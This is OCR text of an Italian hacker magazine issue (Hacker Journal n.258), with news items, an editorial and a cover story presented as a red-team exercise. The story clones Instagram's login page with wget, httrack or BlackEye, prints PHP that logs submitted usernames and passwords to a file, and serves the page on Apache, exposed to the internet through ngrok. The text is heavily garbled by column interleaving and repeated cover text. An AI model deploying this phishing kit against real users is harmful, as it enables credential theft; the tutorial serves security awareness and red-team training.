IL SOCIAL

gennaio

PER HACKER
N.258

Non è governato dagli algoritmi e ognuno

di noi può creare il proprio server
w w w. h a c ke r j o u r n a l . i t

Dal 2002 tutto quello che gli altri non osano dirti

Metti l’antifurto
allo smartphone
Scopri da remoto dove si trova,
bloccalo e scatta una foto
al ladro se te lo rubano
TARIFFA R.O.C. Poste Italiane S.p.A. – spedizione in abbonamento postale – MBPA/LO-NO/125/A.P./2017- ART.1 COMMA1- S /NA

Diventa root
Sfrutta una vulnerabilità
del codice per diventare
un utente privilegiato

Co s ì c i r u b a n o
i dati sul Web
Simula una campagna di phishing con un sito fake come
Ho trollato fa un Red Team per far cadere in trappola gli utenti aziendali
la scuola
La storia dello
studente hacker che
ha preso il controllo
degli schermi di un
pentesting Il proxy che spia il Wi-fi
Credi che sia impossibile bloccare Ecco come devi configurare
intero distretto un sistema hackerando i suoi log? il software che cattura il traffico
scolastico Ricrediti, ecco come fanno i pirati wireless per scoprire gli intrusi
 IN EDICOLA
OGNI 15 DEL MESE

Scansiona il QR Code

Acquistala su www.sprea.it/topgear
versione digitale disponibile dal 12 di ogni mese
 EDITORIALE
www.hackerjournal.it
In questo numero parliamo di:
rickrolling, Cerberus, Green Pass falsi,
GitLab, cloud privato con Cubbit, buffer
overflow, Mitmproxy, hacking dell’IoT,
Mutillidae e molto altro.

C
ome ogni anno, durante i primi giorni
di dicembre arrivano nella nostra casella
email le previsioni di sicurezza per l’anno
successivo, in questo caso per il 2022.
Da dove partiamo? Digitalizzazione del settore sanitario,
sicuramente una buona cosa, anche se servirebbe
molto altro in Italia in ambito salute, secondo noi.
Però più digitale porterà di sicuro un maggior numero
di attacchi poiché una quantità sempre maggiore di dati
dei pazienti si sposterà online e gli operatori sanitari
adotteranno sempre più servizi digitali come la
telemedicina. Questa è una delle tante previsioni
del Kaspersky Security Bulletin 2021
(https://securelist.com/ksb-2021/). Nelle 14 previsioni
presenti nel rapporto di Mandiant (https://experience. CONTATTI
mandiant.com/security-predictions-2022/) scopriamo
REDAZIONE
che i ransomware continueranno imperterriti a crescere
redazione@hackerjournal.it
come hanno fatto negli ultimi 10 anni. Nel 2022
ABBONAMENTI
Mandiant si aspetta di vedere aggressori operativi E ARRETRATI
abbonamenti@sprea.it
con nuove tattiche, come il tentativo di reclutare insider www.sprea.it/digital
nelle vittime. In questi e altri rapporti (per esempio
FACEBOOK
quello di Fortinet) troviamo poi IoT, reti satellitari, www.facebook.com/
hackerjournal/
portafogli digitali, cloud, esports... Insomma, studiate,
seguiteci e informatevi, ci sarà molto lavoro da fare. SITO WEB
www.hackerjournal.it
 Il prossimo num1egro sara
aio
in edicola dal 3 enn

SOMMARIO ABBONATI ALLA

VERSIONE DIGITALE
SOLO PER PC E MAC
A SOLI 19,90 €
DURATA ABBONAMENTO: 1 ANNO
www.hackerjournal.it/abbonamenti

HACKTUALITÀ
News
Notizie e anticipazioni dell’universo hacker................................................................ 06

COVER STORY
Ecco come ci rubano i dati sul Web
Simula una campagna di phishing come fa un Red Team.................................... 10

Social libero | Tutti su Mastodon: social per hacker

Un social network non commerciale, federato e decentralizzato..................... 16

Green Pass | Covid-19, l’inizio di un cambiamento?

Green Pass falsificati ma apparentemente validi… cosa è successo?.............18

Vulnerabilità | Accesso (quasi) libero a GitLab

Un bug consente di prendere il controllo di una macchina Windows......... 20

M IGL IORARE
A I
P
U
R
T
E
A
F
C
EI
RA
I TA!
A T UA R I V ISTA
L .ly/hackerjo
://bit
urnal
Vai su https questionario anonimo
e compila il
 4
 Il primo manifesto hacker
“... avete mai guardato dietro agli occhi dell’hacker?
Vi siete mai chiesti cosa lo stimola, che forze
lo hanno formato, cosa può averlo forgiato?
Io sono un hacker, entra nel mio mondo...”

Cubbit
SICUREZZA
Cloud privato | Cubbit, un cloud rivoluzionario
Scopriamo dove mettere i nostri dati senza farci spiare dalle Big Tech....... 24
Antifurto | L’antifurto per cellulare
Ecco come ritrovare uno smartphone perso o rubato............................................28
Pentesting | Attacco ai log! Seconda parte
Esistono molti modi per attaccare un sistema di log............................................... 32
> 24

46
HOW TO
Buffer overflow | Questione di privilegi
Ecco come diventare utenti privilegiati senza averne il diritto........................................... 40

MITM | La spia sta nel mezzo, seconda parte

Vediamo come installare e configurare Mitmproxy..................................................................46

Log di Windows | Accessi al filesystem svelati! Mitmproxy

Continuiamo a tracciare gli accessi al filesystem del nostro PC!......................................50

> 56
HACKULTURE
Rickrolling | Come ti rickrollo la scuola
La storia di un giovane hacker che ha bucato un intero distretto scolastico......... 56

tt o ri , le risposte de lla redazione > 60

Le do m a n d e d e i le
POSTA
 HACKTUALITÀ
NLETETURW
E
S Ag ID : i s e r v e r d ella
DIVENTARE INVISIBILI
No, non è un libro di magia
e neanche di sicurezza
informatica. Ma l’informatica
entra in gioco in alcune parti
del volume scritto da
Francesco Narmenni. L’autore
offre vari spunti per capire
cosa sanno di noi pubblica
amministrazione, fisco,
banche, provider Internet
e altri ancora, illustrando in
maniera quasi sempre chiara
alcuni metodi legali per
difendere le nostre libertà
individuali. L’informatica
entra in gioco nel terzo
capitolo, in cui possiamo
leggere, per esempio, come
essere anonimi sui social,
sparire da Google o evitare
le intercettazioni.
https://bit.ly/hj258_libro
 6
abili!
s o n o v u l n e r
PA
#SERVER Uno studio sulle macchine della Pubblica Amministrazione
svela diverse pecche in ambito sicurezza informatica
Utilizzando il noto motore Shodan
(www.shodan.io), AgID – l’agenzia
pubblica italiana che ha il compito
di spingere l’innovazione tecnologica
nell’organizzazione e nello sviluppo
della Pubblica Amministrazione e al
servizio dei cittadini e delle imprese
– ha realizzato una ricerca (https://bit.
ly/hj258_ricerca) che evidenzia
il grave problema dei server della
Pubblica Amministrazione che, in
alcuni casi, non sarebbero aggiornati,
anzi sarebbero obsoleti. La raccolta
dei dati è avvenuta dall’IndicePA
(IPA), dove sono censiti i siti della
Pubblica Amministrazione. Tale
portale, al momento, raccoglie solo
i siti istituzionali primari e non sono
quindi presenti sottodomini; per
aumentare la portata dell’analisi
è stato deciso di usare alcuni tool
in grado di identificare sottodomini
basandosi su fonti OSINT. La ricerca
si è focalizzata sulle seguenti
categorie: sanità e assistenza; Pubblica
Amministrazione Centrale (PAC);
Pubblica Amministrazione Locale (PAL);
Istruzione. I risultati della scansione
sono stati divisi in due dataset: il primo
contiene le singole vulnerabilità puntuali (per un totale di 495.762
vulnerabilità che affliggono i sistemi della Pubblica Amministrazione nel
suo complesso), il secondo presenta una serie di statistiche aggregate
(come score CVSS minimo e massimo) di ogni singolo IP.
 NEWS
Anche l’FBI è caduta! La nuova frontiera
del phishing:
#FEDERALI I server dell’FBI sono stati violati e usati
per inviare falsi avvisi via email, roba da matti...
LA VOCE
#VISHING I nuovi sistemi
I server di posta elettronica del Federal Bureau of Investigation (FBI)
di Voice Phishing utilizzano
sono stati violati per distribuire email di spam che simulavano avvisi
dell’FBI. Tutti i messaggi provenivano da un indirizzo email legittimo
bot vocali per fregare gli utenti
“eims@ic.fbi.gov” che proviene dal Law Enforcement Enterprise
Portal (LEEP) dell’agenzia federale e riportavano l’oggetto “Urgente:
Hacker nei sistemi”. L’indirizzo IP dell’FBI usato, fonte Spamhaus, R icevi una chiamata al telefono e
senti: “Per proteggere il tuo account,
inserisci il codice che abbiamo inviato
era 153.31.119.142 (mx-east-ic.fbi.gov). L’FBI ha confermato che l’invio
di email fasulle è stato possibile a causa di un’errata configurazione al tuo dispositivo mobile”. Dopo che hai
software del LEEP. inserito una stringa di sei cifre, l’audio
conferma: “Grazie, il tuo account è stato
protetto”. “Non preoccuparti se un
pagamento è stato addebitato sul tuo
conto: lo rimborseremo entro 24-48 ore.
Il tuo ID di riferimento è 1549926. Ora
puoi riagganciare”. Ma questa chiamata
era in realtà di un cracker. Il truffatore
ha utilizzato un tipo di Voice bot che
semplifica drasticamente il processo dei
pirati per indurre le vittime a rinunciare
ai propri codici di autenticazione a più
fattori o password monouso (OTP)
per tutti i tipi di servizi, consentendo di
accedere o autorizzare trasferimenti di
denaro. Vari bot prendono di mira Apple
Pay, PayPal, Amazon, Coinbase e una
vasta gamma di banche internazionali.
Fate attenzione!

Grandi acquisti?
No, grandi ricatti!
#RANSOMWARE
MediaMarkt ha subito
una richiesta di riscatto
di oltre 200 milioni
di dollari dal gruppo Hive
MediaMarkt, il numero uno dei negozi retail di
elettronica, ha subito lo scorso novembre un grave
attacco ransomware. I criminali informatici appartenenti
al gruppo Hive hanno richiesto un riscatto di più di 200
milioni di dollari, che successivamente è sceso a 50
milioni. Questo gruppo di criminali informatici è noto per
aver attaccato anche degli ospedali. Lo scorso agosto,
difatti, i pirati avevano preso in ostaggio tre ospedali
statunitensi, costringendo alla cancellazione di procedure
chirurgiche ed esami radiologici. A novembre, invece,
Hive avrebbe preso in ostaggio migliaia di computer
e server MediaMarkt. Ogni computer criptato conteneva
un file di testo con un messaggio fin troppo classico per
questi eventi: “La tua rete è stata violata e tutti i dati sono
stati crittografati. Per riottenere l’accesso a tutti i dati, devi
acquistare il nostro software di decrittazione”.

7 
 HACKTUALITÀ

A PESCA DI TIKTOKER
#SOCIAL Un attacco di phishing ha preso di mira svariati account di influencer

A lcuni ricercatori di Abnormal Security hanno

osservato una nuova campagna di phishing
mirata principalmente ad account TikTok
di alto profilo appartenenti a influencer, studi
di produzione e manager di influencer. I ricercatori
di sicurezza che hanno individuato gli attacchi,
hanno osservato due picchi di attività studiando
la distribuzione delle email, il 2 ottobre 2021
e il 1 novembre 2021. In alcuni casi, stando al
report di Abnormal Security, i pirati si sono
spacciati per dipendenti TikTok, minacciando
il destinatario di imminente cancellazione
dell’account a causa di una presunta violazione
dei termini della piattaforma.

I R IC C H I P E R D A RE AI POVERI...
ARE A
ALTRO CHE RUB

La piattaforma di scambio di azioni Robinhood ha rivelato

una violazione
#DATABREACH La piattaforma finanziaria Robinhood dei dati dopo
ha rivelato che i loro sistemi
una violazione che hasono statisette
colpito
milioni di clienti bucati e un pirata ha ottenuto l’accesso alle informazioni
personali di circa sette milioni di clienti. L’attacco è avvenuto
il 3 novembre scorso utilizzando l’ingegneria sociale
per ottenere l’accesso ai sistemi di assistenza clienti.
«In questo momento, sappiamo che dei criminali informatici
hanno ottenuto un elenco di indirizzi email di circa cinque
milioni di persone e nomi completi per un diverso gruppo
corrispondenti a due milioni di persone», ha rivelato un post
sul blog della società.
HA C K T U A L I TA À
cover story Ecco come ci rubano i dati sul Web
Simula una campagna di phishing con un sito Internet fake come fa un Red Team........................ 10

’
social libero Tutti su Mastodon: social per hacker
Un social network non commerciale, federato e decentralizzato.................................................... 16

green pass ’
Covid-19, l'inizio di un cambiamento?
’
Green Pass falsificati ma apparentemente validi… cosa è successo?................................................... 18

vulnerabilita Accesso (quasi) libero a GitLab

Il concorrente Open Source di GitHub ha una vulnerabilità molto pericolosa.................................. 20
 HACKTUALITÀ i ru bano i dati sul Web
R S T O R Y: C o s ì c
C OV E

Co s ì c i r u b a n o
i dati sul Web
In collaborazione con
thehackingquest.net

Simula una campagna di phishing con

un sito Internet fake come fa un Red Team per
verificare se gli utenti cadono nella trappola

MS
THE FALLEN DREA
a volta

P
rendendo ancora un
to/ libro
spunto dal manifes
che ha ci
The Fallen Dreams
andri
accompagnato nei me
g pe r div ers i numeri
dell’hackin
te articolo
in passato, il seguen
me il se condo
si presenta co
spin-off della se rie .
.
Parleremo di phishing

 10
 IL SOCIAL

gennaio
PER HACKER
Non è governato dagli algoritmi
e ognuno

N.258
server
di noi può creare il proprio

rnal.it
non osano dirti
Dal 2002 tutto quello che gli altri

Metti l’antifurto

w w w. h a c ke r j o u
allo smartphone
si trova,
Scopri da remoto dove
foto
bloccalo e scatta una
al ladro se te lo rubano

ART.1 COMMA1- S /NA

Diventa root

postale – MBPA/LO-NO/125/A.P./2017-
ilità
Sfrutta una vulnerab
del codice per diventare
un utente privilegiato

Così ci rubano

S.p.A. – spedizione in abbonamento

i dati sul Web

TARIFFA R.O.C. Poste Italiane

fake come
di phishing con un sito

N
Simula una campagna aziendali
cadere in trappola gli utenti
fa un Red Team per far
Ho trollato
la scuola
La storia dello
studente hacker che
ha preso il controllo pentest ing bloccare IlEccoproxy che spia il Wi-fi
come devi configurare
degli schermi di un Credi che sia impossibile che cattura il traffico
i suoi log? il software
intero distretto un sistema hackerando i pirati wireless per scoprire
gli intrusi
Ricrediti, ecco come fanno

el secondo spin-off della serie tratta dal Web” più “get”) ci permette di scaricare
scolastico
09/12/21 09:53

1
001_HJ258_Cover.indd

libro/manifesto “The Fallen Dreams” un determinato contenuto direttamente

cambiamo la nostra prospettiva per da un server Web.
addentrarci alla scoperta della tecnica • HTTRACK
del phishing. Eseguiremo, in pratica, Utilizzando il tool httrack, potremo copiare
le operazioni che esegue di norma il Red Team direttamente un dato sito Web da Internet sulla
di un’azienda per verificare se gli impiegati nostra directory locale, ricostruendo in maniera
dell’azienda stessa abboccano all’amo lanciato ricorsiva tutti i path. Per prima cosa, dovremo
dalle email o dai siti truffaldini. Una componente installarlo utilizzando il comando
centrale nell’utilizzo di questa tecnica è
la manipolazione psicologica della vittima, sudo apt-get install httrack
attraverso tecniche di social engineering.
Il nostro obiettivo sarà quello di ottenere Una volta installato, sarà sufficiente digitare
le credenziali di login
dell’account httrack
Instagram della http://example.com
vittima [figura #1].
A questo punto,
PARTE I – CLONE listando il contenuto
Come prima cosa, della directory,
dobbiamo clonare vedremo il sito
la pagina ufficiale Internet target
di login di Instagram. sulla nostra directory
Dalla nostra in locale.
macchina attaccante • BLACKEYE
apriamo il browser Potremmo decidere
e visitiamo https://
www.instagram.com/ figura #1 di voler procedere
in maniera più
accounts/login/. La maschera che ci apparirà veloce, scaricando direttamente il tool BlackEye,
sarà quella che dovremo clonare e manipolare. digitando il comando
Copiamo l’indirizzo ufficiale e apriamo
un terminale. Abbiamo diverse opzioni per git clone https://github.com/An0nUD4Y/
procedere alla clonazione, vediamone alcune. blackeye.git
• WGET
Nel caso di una banale pagina di login Il tool permette di automatizzare tutti gli step
potremmo usare direttamente il comando wget. necessari per hostare una pagina malevola,
con relativo link. Tuttavia, noi procederemo
wget http://example.com manualmente per comprendere il
funzionamento di questo attacco. Una volta
Il comando wget (il nome deriva da “World Wide scaricato il tool, spostiamoci all’interno della
cartella sites e individuiamo
Il phishing è una truffa effettuata quella che ci occorre: Instagram.

su Internet che cerca di ingannare cd /blackeye/sites/instagram

la vittima convincendola a fornire
Listiamo il suo contenuto tramite
informazioni personali, dati il comando ll e procediamo
finanziari o codici di accesso all’analisi. NOTA: un altro tool

11 
 HACKTUALITÀ i ru bano i dati
R S T O R Y: C o s ì c
C OV E
figura #2
che permette di clonare il sito target e
automatizzare il processo di phishing, è il noto
SEToolkit presente di default in Kali Linux.
PARTE II – CREAZIONE
All’interno della cartella Instagram sono presenti
cinque file/sottocartelle:
• index_files
• index.php
• ip.php
• login.html
• login.php
La cartella index_files ci interessa meno, poiché
contiene immagine e file di appoggio alla nostra
pagina Web fake. Il file index.php, invece,
è il timone di rotta del nostro sito Web fake:
identifica la posizione dei vari moduli e
rappresenta l’architettura di base del nostro sito
Internet. Ma esaminiamo il suo contenuto:
Tipologie e tecniche di phishing
• Phishing e-Mail: è la più tradizionale delle
tecniche di phishing, in cui l’attaccante utilizza
tecniche di social engineering per ingannare la
vittima. Il vettore d’attacco è rappresentato da una
email fasulla contenente un link malevolo su cui
la vittima, ignara del pericolo, è portata a cliccare.
• Spoofed WebSite: conosciuto anche come
Phishing Website. L’attaccante plasma un sito
falso (fake) clonandone uno lecito. La vittima
che clicca sul link viene reindirizzata al sito Web
malevolo (spesso molto simile all’originale)
nel quale gli vengono sottratte informazioni
sensibili, come password e username.
 12
sul Web
<?php
include ‘ip.php’;
header(‘Location: login.html’);
exit
?>
Il codice, come prima cosa, include il file ip.php
nel flusso. Successivamente, il parametro
header invia una chiamata a login.html.
Location specifica il nome del file da chiamare.
Apriamo il file index.php utilizzando l’editor di
testo Vim, premiamo il tasto “i” per passare in
modalità insert e rimuoviamo la parte di codice
che adesso non ci interessa: include ‘ip.php’;.
<?php
header(‘Location: login.html’);
exit
?>
Quindi usciamo dalla modalità insert, utilizzando
il tasto ESC, e digitiamo :wq! per uscire dal file
salvandolo. Rimuoviamo anche dalla cartella
il file che nella stringa di codice veniva
chiamato ip.php:
rm ip.php
Continuiamo adesso analizzando il nostro login.
html. Dato che si tratta di un file HTML apriamolo
tramite il browser [figura #2]:
• Phone Phishing (o vishing/SMSishing):
l’attaccante impersona, con una chiamata
o un messaggio di testo, qualcuno che la vittima
conosce o ritiene attendibile, con la finalità
di compiere azioni malevole.
• Social Media Phishing (Soshing): tra i canali
più utilizzati dagli attaccanti per ottenere
informazioni e raggirare le vittime ci sono i Social
Media. Per esempio, gli attaccanti possono
circuire la vittima impersonando un nuovo
contatto, oppure spingendola a visitare pagine
di Social Media fasulle, finalizzate a estorcere
informazioni sensibili.
 IL SOCIAL

gennaio
PER HACKER
Non è governato dagli algoritmi
e ognuno

N.258
server
di noi può creare il proprio

rnal.it
non osano dirti
Dal 2002 tutto quello che gli altri

Metti l’antifurto

w w w. h a c ke r j o u
allo smartphone
si trova,
Scopri da remoto dove
foto
bloccalo e scatta una
al ladro se te lo rubano

ART.1 COMMA1- S /NA

Diventa root

postale – MBPA/LO-NO/125/A.P./2017-
ilità
Sfrutta una vulnerab
del codice per diventare
un utente privilegiato

Così ci rubano

S.p.A. – spedizione in abbonamento

i dati sul Web
ORIO
IENTE DI LABORAT

TARIFFA R.O.C. Poste Italiane

fake come
di phishing con un sito
Simula una campagna aziendali
cadere in trappola gli utenti

AMB
fa un Red Team per far
Ho trollato
la scuola
La storia dello
studente hacker che
ha preso il controllo pentest ing bloccare IlEccoproxy che spia il Wi-fi
come devi configurare
degli schermi di un Credi che sia impossibile che cattura il traffico
i suoi log? il software
intero distretto un sistema hackerando i pirati wireless per scoprire
gli intrusi
Ricrediti, ecco come fanno
scolastico
09/12/21 09:53

1
001_HJ258_Cover.indd

un ambiente
articolo abbiamo usato php. Continuando la nostra analisi,
Per realizzare questo
nfigurato: notiamo che il contenuto in input che
di laboratorio così co 192.168.178.7
ANTE: Kali Linux – IP: l’utente andrà a inserire nel campo
• MACCHINA ATTACC – IP:
A: Windows 10x64bit Phone number, username, or email
• MACCHINA VITTIM
verrà assegnato a una variabile
192.168.178.12
username [figura #4]. La stessa
cosa capita all’input che la nostra
firefox login.html vittima inserirà nel campo Password, venendo
assegnato alla variabile password [figura #5].
A una prima occhiata superficiale, sembrerebbe Bene, non ci resta che scoprire che cosa contiene
effettivamente la pagina di login di Instagram. il file chiamato login.php. Torniamo sul nostro
Certo, se non fosse che, l’indirizzo nella barra terminale e facciamo un cat del file login.php.
di ricerca, punta alla nostra directory locale:
file:///home/k4ls33r/ Documents/HJ_Articoli/ <?php
PhishingAttack/login.html. Andiamo più a fondo file_put_contents(“usernames.txt”,
e addentriamoci nel codice HTML, premendo F12 “Account: “ . $_POST[‘username’] . “ Pass:
per ispezionarlo, al fine di vedere quali sono le
azioni che avvengono al momento in cui l’utente figura #3
ignaro cliccherà sul pulsante di login. Portiamo
il puntatore del mouse sul pulsante di login
e clicchiamo con il tasto destro, scegliendo
l’opzione Inspect. A questo punto, verremo
ridiretti alla parte di codice relativo alla funzione
di “login” [figura #3]. La prima cosa che balza
all’occhio è il codice figura #4
<form class=”_3jvtb” action=”login.php”
method=”POST”>

Vale a dire che, l’“azione” che viene fatta relativa figura #5

a form.3jvtb (che identifica la nostra maschera
di login) è quella di richiamare un altro file: login.

• Malware-Based Phishing: è una tipologia e dannoso. In poche parole, viene compromesso

di phishing che avviene attraverso l’avvio
di un software dannoso sulla macchina vittima.
Il software viene scaricato dall’ignaro utente
attraverso tecniche di social engineering oppure
sfruttando vulnerabilità del sistema.
• DNS Phishing: Il Domain Name System è il
metodo utilizzato per assegnare nomi ai nodi
di una rete, “risolvendo” l’indirizzo IP. Avvelenando
la risoluzione dei nomi, è possibile reindirizzare la
vittima verso l’indirizzo desiderato dall’attaccante.
• Content Injection Phishing: si basa sulla
dicotomia sito legittimo ma contenuto falso
un sito Web attendibile per far sì che ospiti
contenuti malevoli.
• Man-In-The-Middle Phishing (MITM):
l’attaccante si inserisce tra le due parti di una
comunicazione (per esempio tra l’utente e il sito
Web legittimo) cercando di ottenere informazioni
intercettando le comunicazioni della vittima.
• Search Engine Phishing: anche noto come SEO
Black Hat. L’attaccante ottimizza i siti malevoli
nell’ottica SEO per indicizzarli in maniera legittima,
in modo che appaiano all’utente durante la ricerca
di prodotti o servizi.

13 
 HACKTUALITÀ i ru bano i dati sul Web
R S T O R Y: C o s ì c
C OV E

“ . $_POST[‘password’] . “\n”, FILE_ troveremo le credenziali sottratte tramite

APPEND);
header(‘Location: https://instagram.com’);
exit();
La funzione file_put_contents scrive dei dati in
un file, usernames.txt nel nostro caso. Seguono
i dati da scrivere, cioè la parola Account:
seguita dal contenuto della variabile
$_POST[‘username’]. Ancora, la parola “ Pass: ”
seguita dal contenuto della variabile
$_POST[‘password’]. Come abbiamo visto
poc’anzi, sia username che password
conterranno le credenziali che la vittima ignara
avrà inserito. Quindi nel file usernames.txt
phishing all’utente. Una volta al termine,
il comando header reindirizzerà verso il sito
di Instagram ufficiale. Torniamo sul nostro
terminale, nella cartella che contiene il nostro
sito Internet fake, e creiamo quindi il nostro
file usernames.txt.
echo Phishing Attack > usernames.txt
Ridirigiamo l’output del comando echo sul file
username.txt. Assegniamo poi al file i permessi
completi:
chmod 777 usernames.txt

Come evitare
PARTE III – ATTACCO
Pubblichiamo il sito Internet sulla nostra

la trappola
macchina Linux, spostando i file che
compongono il nostro sito fake nella cartella

del phishing
/var/www/html. Copiamoli utilizzando
il comando cp, dichiarando i nomi dei file
uno alla volta, in modo da rivedere ancora quali
re sono i file necessari per il nostro attacco.
o articolo per pubblica
A
pprofittiamo di quest eck
dagli espert i di Ch
alcuni consigli offerti .
e le varie tipologie di phishing cp index_files/ -r index.php login.html
Point su come evitar ili” login.php usernames.txt /var/www/html
brano “sim
1 Non fidatevi dei siti che sem
a quelli originali.
il campo Da (From) Di seguito indichiamo il significato di ogni parte
2 Nelle email controllate se (Reply To).
pondi a di questo comando:
differisce da quello Ris
ni singola parte • cp – il comando di copia
3 Leggete con attenzione og
del testo delle email. • index_files/ -r – la directory contenente file
prima di condividere
4 Pensateci almeno due volte e immagini del sito
dei dati personali. • index.php – lo scheletro del nostro sito
prima di cliccare
5 Pensateci almeno due volte • login.html – la pagina di login che la vittima
allegato.
su un link o aprire un visualizzerà
ando qualche pacco
6 Chiedetevi se stavate aspett o SMS relativi • login.php – il codice PHP per salvare
di email
(in caso di ricevimento le credenziali sottratte
a una spedizione). • usernames.txt – il file dove salveremo
contatta, anche
7 Verificate l’identità di chi vi username e password della vittima
sciuta”.
se è una persona “cono
ge tti delle email troppo • /var/www/html – la directory
8 Diffidate degli og
ttono fretta. di destinazione in locale dove pubblicheremo
“allarmanti”, che vi me
vi dicono che avete
9 Diffidate delle email in cui il nostro sito di phishing
vinto qualcosa. Terminata la copia di tutti i file che ci servono,
ssono essere fatti
10 Ricordate: gli attacchi po avviamo sulla macchina il servizio apache:
gli SMS.
anche a voce o con de

 14
 IL SOCIAL

gennaio
PER HACKER
Non è governato dagli algoritmi
e ognuno

N.258
server
di noi può creare il proprio

rnal.it
non osano dirti
Dal 2002 tutto quello che gli altri

Metti l’antifurto

w w w. h a c ke r j o u
allo smartphone
si trova,
Scopri da remoto dove
foto
bloccalo e scatta una
al ladro se te lo rubano

ART.1 COMMA1- S /NA

Diventa root

postale – MBPA/LO-NO/125/A.P./2017-
ilità
Sfrutta una vulnerab
del codice per diventare
un utente privilegiato

Così ci rubano

S.p.A. – spedizione in abbonamento

i dati sul Web

TARIFFA R.O.C. Poste Italiane

fake come
di phishing con un sito
Simula una campagna

figura #6
aziendali
cadere in trappola gli utenti
fa un Red Team per far
Ho trollato
la scuola
La storia dello
studente hacker che
ha preso il controllo pentest ing bloccare IlEccoproxy che spia il Wi-fi
come devi configurare
degli schermi di un Credi che sia impossibile che cattura il traffico
i suoi log? il software
intero distretto un sistema hackerando i pirati wireless per scoprire
gli intrusi
Ricrediti, ecco come fanno
scolastico
09/12/21 09:53

1
001_HJ258_Cover.indd

PARTE IV – VERSO L’ESTERNO

Supponiamo adesso che la vittima risieda
al di fuori della nostra rete locale. Per perpetrare
il nostro attacco utilizzeremo il tool ngrok.
figura #7 L’applicazione ci permetterà di esporre il nostro
sito Internet fake, all’interno della nostra
macchina locale, su Internet. Dalla nostra
macchina attaccante navighiamo quindi sul sito
ufficiale del tool: https://ngrok.com/download.
Selezioniamo More Options, spostiamoci alla
voce Linux e, cliccando con il tasto destro del
mouse, copiamo il link di download. Sul

figura #8 terminale della nostra Kali Linux digitiamo

wget https://bin.equinox.io/
c/4VmDzA7iaHb/ngrok- stable-linux-amd64.
zip

Al termine del download estraiamo il contenuto

del file digitando

service apache2 start unzip ngrok-stable-linux-amd64.zip

A questo punto, supponiamo che la nostra All’interno della cartella del nostro sito si sarà
vittima abbia ricevuto il link al nostro sito aggiunto il file ngrok. Avviamolo con i seguenti
Internet di phishing, che essendo in locale parametri, abilitando il traffico HTTP tramite
sarà qualcosa di questo tipo: la porta 80:
http://192.168.178.7/login.html [figura #6].
Del tutto ignara di ciò che sta accadendo, ./ngrok http 80
a meno che non sia stata formata correttamente
in passato e “annusi” il pericolo, continuerà A questo punto, il tool avrà forwardato la porta e
digitando le credenziali del suo account settato un tunnel: dal nostro localhost, porta 80
Instagram per effettuare il login. (HTTP), verso l’indirizzo pubblico, http://e6f4-79-
E infine, cliccherà sul pulsante Log in. 32-246-191.ngrok.io, che esporrà il nostro sito
Se tutto sarà andato come previsto, Web di phishing [figura #8]. Appena la nostra
sulla nostra macchina attaccante, all’interno nuova vittima inserirà le sue credenziali,
del file usernames.txt troveremo le credenziali ne saremo entrati in possesso [figura #9].
che l’utente ha appena digitato.
In questo caso, effettuando un semplice cat figura #9
sul file per visualizzarne il contenuto, otterremo
le credenziali dell’account [figura #7].
Intanto, l’ignara vittima verrà reindirizzata
al sito reale di Instagram, senza accorgersi
di nulla, se non della necessità di dover inserire
nuovamente le credenziali.

15 
 HACKTUALITÀ

TUTTI SU M A S T O D O N :
SOCIA L P E R H A C K E R
e t w o r k n o n c o m m e rciale,
Un social n a t o , q u e ll o c he
t r a li z z
federato e decen ic a l h a c k e r
it y d i e t h
molte commun o n fr o n t a rsi
e n d o p e r c
stanno scegli

A
gli albori di Internet centralizzate. Per non parlare che utilizza il protocollo
c’era IRC, acronimo poi di Facebook e degli altri ActivityPub per
di Internet Relay social che non solo hanno un interconnettere tra loro più
Chat, un sistema di animo commerciale, ma anche istanze. Un’istanza non è altro
messaggistica testuale basato la tendenza a influenzare che un server a cui dovremo
su canali indipendenti e non direttamente i contenuti degli registrarci e che a sua volta
controllati. Ai tempi d’oro, cioè utenti. Stanca di doversi potrà collegarsi a migliaia
alla fine del secolo scorso, più rifugiare negli anfratti del Dark di altre istanze sparse per
di un milione di utenti, in gran Web, una piccola community il mondo. Il meccanismo
parte geek, utilizzavano oltre di sviluppatori di tutto il mondo assomiglia a quello della posta
500.000 canali per scambiarsi ha deciso così di mettere a elettronica, in cui un indirizzo
idee e documenti. Il tutto nella punto una propria rete sociale, email è collegato a un server
maniera più libera possibile. federata ma allo stesso tempo ma può comunque comunicare
Poi con il nuovo millennio sono gestita separatamente in con tutti gli altri indirizzi.
arrivati i social network e se “istanze” utilizzando il progetto In Italia l’istanza principale
all’inizio un’iniziativa come di Eugen Rochko, un tedesco è Mastodon Italia che può
Twitter poteva sembrare uno 24enne e del suo Mastodon. essere raggiunta all’indirizzo
spazio libero e indipendente, mastodon.uno, ma ce ne sono
ben presto ci si rese conto che ANONIMI E NON molte altre come sociale.
non era proprio così. Tutte le COMMERCIALI network, mastodon.sociale.
interazioni, infatti, avvengono Mastodon può essere definita network o mastodon.partecipa.
su server controllati come una rete di digital. A differenza degli altri
dall’azienda e sono perciò microblogging decentralizzata social, per registrarsi non è
necessario inserire il proprio
Ogni singola istanza di Mastodon numero di telefono ed è
possibile collegarsi solo con un
può definire proprie regole, politiche nickname, basta solo fornire
di moderazione e argomenti preferiti un indirizzo email valido.

 16
 SOCIAL LIBERO
VERSIONE ITALIANA
Sono ancora poco meno di
16.000 gli iscritti alla principale
istanza italiana di Mastodon,
https://mastodon.uno/.
In compenso però sono tutti
molto attivi e soprattutto liberi.

Una volta registrati, il nostro OLTRE MASTODON ambiente globale a cui

nome utente assomiglierà a
quello della posta elettronica.
Così, per esempio, chi scrive
ha come nome del suo profilo
@fpensa@mastodon.uno.
Oltre a connettersi tra loro,
le istanze di Mastodon fanno
parte del Fediverso (acronimo
di Federated Universe).
Si tratta di un
possono partecipare software
differenti ma che hanno
in comune tra loro l’utilizzo
di standard aperti e liberi.

rovato
Anche Trump ci ha p
TANTI PICCOLI TOOT

con la sua “verità”..
Su Mastodon i messaggi si
chiamano Toot (cioè il verso
dell’elefante, simbolo del social)
e nell’istanza italiana mastodon.
uno è prevista la lunghezza
massima di 500 caratteri per
ogni toot. A loro volta i toot
possono essere pubblici, visibili
solo a chi ci segue e privati.
Attenzione però, perché ogni
istanza può usare proprie
regole, politiche di
moderazione, lingua
e argomenti preferiti di
discussione. Per questo è
consigliabile scegliere l’istanza
più vicina alla nostra sensibilità
e ai nostri interessi. Rimane
comunque sempre possibile
migrare il proprio profilo
presso un’altra istanza senza
perdere contenuti e follower.
Per avere maggiori
informazioni su Mastodon
vi rimandiamo comunque
al sito www.mastodon.it.
.
Dopo essere stato buttato fuori
da Facebook, Twitter e da gran
parte degli altri social per i
contenuti violenti e pieni di fake
news della sua comunicazione,
